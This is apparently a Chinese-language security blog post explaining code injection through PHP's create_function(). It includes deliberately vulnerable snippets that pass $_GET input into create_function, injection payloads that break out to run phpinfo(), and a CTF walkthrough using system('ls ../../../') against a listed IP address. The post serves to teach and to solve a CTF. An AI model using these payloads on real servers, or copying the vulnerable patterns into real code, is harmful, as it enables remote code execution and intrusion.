create_function()代码注入

00x00create_function()函数的简介

适用范围:PHP 4> = 4.0.1PHP 5PHP 7

功能:根据传递的参数创建匿名函数,并为其返回唯一名称。

语法:

create_function(string $args,string $code)
//string $args 声明的函数变量部分
//string $code 执行的方法代码部分

0x01 函数功能分析

案例

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
?>

create_function()会创建一个匿名函数(lambda样式)

create_function()函数会在内部执行 eval(),我们发现是执行了后面的return语句,属于create_function()中的第二个参数string $code位置。

因此create_function函数等价于

<?php
function lambda1($a,$b){
    return "ln($a) + ln($b) = " . log($a * $b);
}
?>

0x03 实现代码注入的案例

案例一:

<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>

payload的构造:

http://localhost/test/1.php?sort_by='"]);}phpinfo();/*

还原实际的组合过程:

$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*

匿名函数实际的执行:

function niming($a,$b){
return 1 * ' . $sorter . '($a["' . $sort_by '"]);
}
phpinfo();/* }

案例 2:

<?php
$c=$_GET['c'];
$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));");
$array=array('reall long string here,boy','this','midding lenth','larget');
usort($array,$lambda);
print_r($array);
?>

payload的构造:

http://localhost/test/2.php?c=1));}phpinfo();/*

还原实际的组合过程:

$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");

匿名函数实际的执行:

 function ft($a,$b){
    return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));
 }

0x04 一道存在create_function代码注入的CTF

 

 地址:http://198.13.45.199:5007/

两个链接,先点击“不要点我”这个链接,跳转到一个含php源码的页面http://198.13.45.199:5007/index.php?source

 

 看见create_function函数,应该存在注入

GET请求,code随便传一个值,然后“;”闭合应该就可以将payload构造成功了

构造payload:

http://198.13.45.199:5007/index.php?code=1;}phpinfo();/*

 

 代码执行成功

用system()函数执行系统操作命令

构造payload:

http://198.13.45.199:5007/index.php?code=1;}system(%27ls%20../../../%27);/*

用ls一直往前翻目录,直到翻到名字含有flag的文件,然后cat打开就获得flag:

 

 

PHP 7.2.0开始,create_function()被废弃

 

posted @ 2019-09-04 15:22  ctrl_TT豆  阅读(2907)  评论(0编辑  收藏  举报